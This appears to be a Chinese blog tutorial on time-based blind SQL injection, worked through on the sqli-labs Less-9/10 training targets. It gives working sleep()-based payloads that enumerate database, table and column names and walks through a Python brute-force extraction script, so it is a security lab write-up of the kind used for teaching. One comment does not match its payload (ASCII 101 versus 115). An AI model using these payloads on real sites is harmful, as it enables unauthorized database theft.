SQL 注入实战:时间盲注原理与 Python 脚本详解

前言

前两篇文章介绍了布尔盲注------它依赖页面在"正确"和"错误"时呈现不同内容。但如果目标页面对任何输入都返回完全相同的响应,布尔盲注就彻底失效了。

这时候就轮到时间盲注(Time-based Blind SQLi) 登场:我们不再观察页面内容的变化,而是让数据库"睡一觉",通过测量响应时间来判断条件真假。只要服务器响应慢了,我们就知道答对了。

文章目录

靶场题目:Less-9 / Less-10

Less-9 和 Less-10 是时间盲注的标准练习题。特征如下:

  • 无论输入什么,页面响应始终一致
  • 没有报错,没有数据回显,没有任何状态区分
  • 唯一可利用的信息通道:HTTP 响应时间

Less-9 使用单引号闭合,Less-10 使用双引号闭合,脚本中通过切换注释对应 payload 即可适配两种情况。


核心原理:用时间说话

MySQL 提供了两个关键武器:

sql 复制代码
-- 让数据库暂停 5 秒
SELECT SLEEP(5);

-- 条件判断:库名是否为 security?是则睡 5 秒,否则什么都不做
SELECT IF((SELECT DATABASE())='security', SLEEP(5), NULL);

IF(condition, true_result, false_result) 是时间盲注的核心结构。把"睡眠"嵌入条件分支,就把"对与错"变成了"慢与快"。

手工验证注入点

sql 复制代码
-- 第一步:确认 sleep 能否生效
?id=2' and sleep(5) --+

-- 第二步:尝试条件判断
?id=2' and if((select database())='security', sleep(5), null) --+

如果第一条让页面延迟 5 秒,说明注入点存在且时间盲注可行。


手工注入:完整流程

爆破数据库名长度

sql 复制代码
?id=1' and if(length(database()) > 7, sleep(5), 0) --+

从 1 开始逐步增大比较值,当页面不再延迟时,上一个值就是库名长度。

逐字符爆破库名

sql 复制代码
-- 判断库名第一个字符是否为 's'(ASCII 115)
?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 0) --+

爆破表名

sql 复制代码
-- 取第一张表的第一个字符,判断是否为 'e'(ASCII 101)
?id=1' and if(ascii(substr(
    (select table_name from information_schema.tables 
     where table_schema=database() limit 0,1)
,1,1))=115, sleep(5), 0) --+

limit 0,1 取第一张表,limit 1,1 取第二张,依此枚举。

实战技巧 :数据库名、表名等字符串在 payload 中可以用其 HEX 值 代替,避免引号冲突,同时也能绕过部分过滤。例如 'security' 等价于 0x73656375726974...


Python 脚本:timeblind.py 解析

脚本将完整攻击链拆分为五个独立函数,结构清晰,每一步都可以单独调用:

整体架构

复制代码
main()
├── database_len()      → 爆破库名长度
├── database_name(len)  → 爆破库名
├── table_name()        → 枚举所有表名
├── colum_name(table)   → 枚举指定表的字段名
└── data(column, table) → 提取字段数据

时间测量的核心写法

所有函数都遵循同一个计时模式:

python 复制代码
import datetime

time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()

sec = (time2 - time1).seconds
if sec >= 2:
    # 条件成立,记录当前字符

datetime 精确记录请求前后的时间戳,差值超过阈值(2~3 秒)即视为"条件成立"。这比直接用 time.time() 更语义化,也更便于阅读。

库名爆破的两段式设计

database_len() 先确定长度,database_name(len) 再按长度逐字符枚举。这样避免了盲目爆破造成的请求浪费------一旦知道库名只有 8 位,后续循环就不会多跑一次。

database_name 的枚举字符集直接使用字符串遍历,而非 ASCII 码范围循环:

python 复制代码
for j in '0123456789abcdefghijklmnopqrstuvwxyz':
    # 直接比较字符,payload 构造更直观

对于库名、表名这类通常只含小写字母和数字的目标,缩小字符集能显著减少请求次数。

表名与字段名的三层嵌套

爆破表名和字段名需要三层 for 循环:

复制代码
外层 k:第 k 张表(或第 k 个字段)
中层 i:字符串的第 i 个字符
内层 j:ASCII 码范围 65~122(A-z)

这个范围覆盖了大小写字母,足以应对常见的表名和字段名。如需支持数字或下划线,扩展 range 的起始值即可。


时间盲注的局限与注意事项

网络抖动是最大的干扰源。 时间盲注依赖响应时间判断,而网络延迟是不稳定的。实践中有几种应对策略:

  • 将 sleep 时间设置得足够大(≥3 秒),远超正常响应时间
  • 对同一个 payload 发送多次,取平均值或多数结果
  • 在本地靶场练习时效果最稳定,生产环境慢网络下误判率会上升

线性枚举效率问题。 timeblind.py 的内层循环使用线性枚举,每个字符最多需要发送数十次请求,每次还要等待 sleep 超时。爆破一个完整的数据集可能需要数分钟甚至更长时间。结合二分查找优化是进阶方向。


三种盲注方式横向对比

注入类型 判断依据 适用场景 效率
布尔盲注(线性) 页面内容差异 有明显回显状态区分 较低
布尔盲注(二分) 页面内容差异 同上,追求效率 较高
时间盲注 HTTP 响应时间 页面完全无差异 最低

时间盲注是三者中适用范围最广 的,但也是效率最低、稳定性最差的。真实渗透测试中,时间盲注通常是在其他方式都失效后的最后手段。


完整代码与靶场资源

timeblind.py 脚本已开源至 GitHub,与 bool.pybool1.py 收录在同一仓库中。

脚本链接: github.com/aqirompt/sqli-labs-bool

靶场搭建请参考:

至此,布尔盲注与时间盲注的完整系列告一段落,届见。

免责声明:本文所有内容仅供授权环境下的安全学习与研究,切勿将相关技术用于任何未经授权的系统。

相关推荐
李白你好1 天前
一款面向渗透测试人员的综合工具集
渗透测试
admin and root1 天前
Blade站点的渗透测试到MySQL数据库权限接管
数据库·mysql·web安全·渗透测试·移动安全·培训·src赏金
admin and root6 天前
Claude+Trae大模型 配置Chrome MCP联动Yakit自动化渗透测试
微信小程序·渗透测试·自动化·攻防演练·ai安全·claude code·ai自动化渗透测试
探索者019 天前
SQL注入深度解析笔记:从DNSlog外带到高级绕过技术
web安全·sql注入
虚拟世界AI9 天前
从零到黑客:渗透测试实战指南
网络安全·渗透测试
探索者0113 天前
SQL注入介绍
web安全·sql注入
文章永久免费只为良心14 天前
反射型 XSS 漏洞从弹窗到劫持页面的进阶利用实战
网络安全·渗透测试·xss·xss漏洞进阶·跨站脚本漏洞进阶·跨站脚本漏洞·漏洞复现步骤
云水一下18 天前
黑客的“猜密码”游戏:SSH暴力破解实战与Linux安全加固
linux·渗透测试·ssh·暴力破解
Nanhuiyu18 天前
白帽江湖实战靶场SQL注入篇:SQL注入 - 延迟注入(无防护)
web安全·sql注入·白帽江湖·延迟注入
Nanhuiyu18 天前
白帽江湖实战靶场SQL注入篇:SQL注入 - 布尔盲注(无防护)
web安全·sql注入·布尔盲注·白帽江湖